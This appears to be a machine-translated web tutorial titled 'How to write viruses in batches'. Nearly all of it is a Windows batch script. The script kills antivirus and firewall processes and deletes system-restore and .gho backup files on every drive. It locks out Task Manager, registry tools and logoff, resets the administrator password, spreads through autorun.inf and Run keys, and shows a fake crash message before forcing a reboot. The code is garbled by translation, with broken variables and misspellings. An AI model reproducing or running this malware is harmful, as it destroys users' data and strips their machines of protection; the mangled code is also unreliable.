How to write viruses in batches
This article introduces the knowledge of "how to write viruses in batches". In the operation of actual cases, many people will encounter such a dilemma, so let the editor lead you to learn how to deal with these situations. I hope you can read it carefully and be able to achieve something!
The code is as follows:
@ echo off
Title You DEAD!
Set taskkill=s
Copy 0 windir%\ system32\ cmd.bat
Attrib% windir%\ system32\ cmd.bat + r + s + h
Net stop sharedaccess > nul
S / im pfw.exe shadowtip.exe shadowservice.exe qq.exe explorer.exe IEXOLORE.EXE / f > nul
S / im norton* / f > nul
S / im av* / f > nul
S / im fire* / f > nul
S / im anti* / f > nul
S / im spy* / f > nul
S / im bullguard / f > nul
S / im PersFw / f > nul
S / im KAV* / f > nul
S / im ZONEALARM / f > nul
S / im SAFEWEB / f > nul
S / im OUTPOST / f > nul
S / im nv* / f > nul
S / im nav* / f > nul
% s% / im Fmuri * / f > nul
S / im ESAFE / f > nul
S / im cle / f > nul
S / im BLACKICE / f > nul
S / im def* / f > nul
S / im 360safe.exe / f > nul
Net stop Shadow "" System "" Service
Set alldrive=d e f g h i j k l m n o p q r s t u v w x y z
For% an in (c% alldrive%) do del% a:\ 360 * / f / s / Q > nul
For% an in (c% alldrive%) do del% a:\ repair * / f / s / Q > nul
Rem modifies the registry.
REG ADD HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ explorer\ Advanced\
Folder\ Hidden\ SHOWALL / v
CheckedValue / t REG_DWORD / d 00000000 / f > nul
REG ADD HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer / v
NoRun / t REG_DWORD / d
00000001 / f > nul
REG ADD HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer / v
NoRecentDocsMenu / t
REG_DWORD / d 00000001 / f > nul
REG ADD HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer / v
NoDrives / t REG_DWORD / d
4294967295 / f > nul
REG ADD HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ System / v
Disableregistrytools / t
REG_DWORD / d 00000002 / f > nul
REG ADD HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer / v
NoNetHood / t REG_DWORD / d
00000001 / f > nul
REG ADD HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer / V
NoDesktop / t REG_DWORD / d
00000001 / f > nul
REG ADD HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer / v
NoClose / t REG_DWORD / d
00000001 / f > nul
REG ADD HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer / v
NoFind / t REG_DWORD / d
00000001 / f > nul
REG ADD HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ System / v
DisableTaskMgr / t REG_DWORD
/ d 00000001 / f > nul
REG ADD HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer / v
NoLogOff / t REG_DWORD / d
00000001 / f > nul
REG ADD HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer / v
NoSetTaskBar / t REG_DWORD
/ d 00000001 / f > nul
REG ADD HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows "" NT\ CurrentVersion\ SystemRestore / v
DisableSR / t REG_DWORD / d
00000001 / f > nul
REG ADD HKEY_LOCAL_MACHINE\ SOFTWARE\ Policies\ Microsoft\ Windows "" NT\ SystemRestore / v
DisableConfig / t REG_DWORD / d
00000001 / f > nul
REG ADD HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer / v
RestrictRun / t REG_DWORD / d
00000001 / f > nul
Cls
Net user administrator 123456 > nul
For% c in (c% alldrive%) do del% c:\ * .gho / f / s / Q > nul
Echo @ echo off > d:\ setup.bat
Echo shutdown-r-t 10-f-c Dear friends, I am very sorry to inform you that your computer has seriously crashed, please re-
Installing the system can solve this problem.
! ^. ^ > d:\ setup.bat
Echo copy d:\ setup.bat c:\ Documents "and"Settings\ All"Users\" start menu\ Program\ start
\ a.bat > > d:\ setup.bat
Echo REG ADD HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Run / v
Setup.bat / t REG_SZ / d d:\ setup.bat
/ f > > d:\ setup.bat
Echo REG ADD HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Run / v
Setup.bat / t REG_SZ / d d:\ setup.bat
/ f > > d:\ setup.bat
Echo REG ADD HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ RunOnce / v
Setup.bat / t REG_SZ / d d:\ setup.bat
/ f > > d:\ setup.bat
HKEY_CLASSES_ROOT\ batfile\ shell\ open\ command / v setup.bat / t REG_SZ / d:\ setup.bat / f
> > d:\ setup.bat
Echo [windows] > >% windir%\ win.ini
Echo run=d:\ setup.bat C:\ AUTOEXEC.BAT > >% windir%\ win.ini
Echo load=d:\ setup.bat C:\ AUTOEXEC.BAT > >% windir%\ win.ini
Echo [boot] > >% windir%\ system.ini
Echo shell=explorer.exe setup.bat C:\ AUTOEXEC.BAT > >% windir%\ system.ini
Echo [AutoRun] > d:\ autorun.inf
Echo Open=setup.bat > > d:\ autorun.inf
Echo Open=system.bat > > d:\ autorun.inf
Attrib d:\ autorun.inf + r + s + h > > d:\ setup.bat
Attrib d:\ setup.bat + r + s + h > > d:\ setup.bat
Start d:\ setup.bat / min > nul
Echo @ echo off > > C:\ AUTOEXEC.BAT
Echo REG ADD HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Run / v
AUTOEXEC.BAT / t REG_SZ / d
C:\ AUTOEXEC.BAT / f > > C:\ AUTOEXEC.BAT
Echo REG ADD HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Run / v
AUTOEXEC.BAT / t REG_SZ / d
C:\ AUTOEXEC.BAT / f > > C:\ AUTOEXEC.BAT
REG ADD HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ RunOnce / v
AUTOEXEC.BAT / t REG_SZ / d
C:\ AUTOEXEC.BAT / f > > C:\ AUTOEXEC.BAT
Echo REG ADD HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Run / v
Setup.bat / t REG_SZ / d d:\ setup.bat
/ f > > C:\ AUTOEXEC.BAT
Echo REG ADD HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Run / v
Setup.bat / t REG_SZ / d d:\ setup.bat
/ f > > C:\ AUTOEXEC.BAT
REG ADD HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ RunOnce / v
Setup.bat / t REG_SZ / d d:\ setup.bat
/ f > > C:\ AUTOEXEC.BAT
Echo if not d:\ setup.bat start% windir%\ system32\ cmd.bat / min > > C:\ AUTOEXEC.BAT
Copy 0 systemroot%\ windows.bat > nul
If not exist windir%/system32/explorer.bat @ echo off > > windir%/system32/explorer.bat
If not exist C:\ AUTOEXEC.BAT start% windir%\ system32\ cmd.bat / min > >%
Windir%/system32/explorer.bat
If not exist% windir%\ system32\ cmd.bat start% systemroot%\ windows.bat / min > >%
Windir%/system32/explorer.bat
Echo REG ADD HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Run / v
AUTOEXEC.BAT / t REG_SZ / d
C:\ AUTOEXEC.BAT / f > >% windir%/system32/explorer.bat
Echo REG ADD HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Run / v
AUTOEXEC.BAT / t REG_SZ / d
C:\ AUTOEXEC.BAT / f > >% windir%/system32/explorer.bat
Echo REG ADD HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Run / v
Setup.bat / t REG_SZ / d d:\ setup.bat
/ f > > windir%/system32/explorer.bat
Echo REG ADD HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Run / v
Setup.bat / t REG_SZ / d d:\ setup.bat
/ f > > windir%/system32/explorer.bat
Echo REG ADD HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Run / v
Explorer.bat / t REG_SZ / d%
Windir%/system32/explorer.bat/f > > windir%/system32/explorer.bat
Echo REG ADD HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Run / v
Explorer.bat / t REG_SZ / d%
Windir%/system32/explorer.bat / f > > windir%/system32/explorer.bat
Echo start systemroot%\ windows.bat / min > > windir%/system32/explorer.bat
Attrib% windir%/system32/explorer.bat + r + s + h%
Attrib% systemroot%/windows.bat + r + s + h
For% c in (% alldrive%) do echo @ echo off > >% c:\ system.bat
For% c in (% alldrive%) do echo start% windir%\ system32\ cmd.bat / min >% c:\ system.bat
For% c in (% alldrive%) do echo attrib system.bat + r + s + h >% c:\ system.bat
Set drive=e f g h i j k l m n o p q r s t u v w x y z
For% c in (% drive%) do echo [AuroRun] >% c:\ autorun.inf
For% c in (% drive%) do echo Open=system.bat > >% c:\ autorun.inf
Copy 0 d:\ Program "" Files\ run.bat "
For c in (alldrive%) do echo if not exist windir%/system32/explorer.bat start
D:\ Program "" Files\ run.bat / min
> >% c:\ system.bat
For% c in (% alldrive%) do attrib autorun.inf + r + s + h >% c:\ system.bat
For% c in (% alldrive%) do attrib% c:\ autorun.inf + r + s + h > nul
For% c in (% alldrive%) do attrib% c:\ system.bat + r + s + h > nul
If not exist% windir%/system32/explorer.bat start d:\ Program "" Files\ run.bat "
/ min > > d:\ setup.bat
Attrib d:\ Program "" Files\ run.bat + r + s + h > nul
Del 0
Exit
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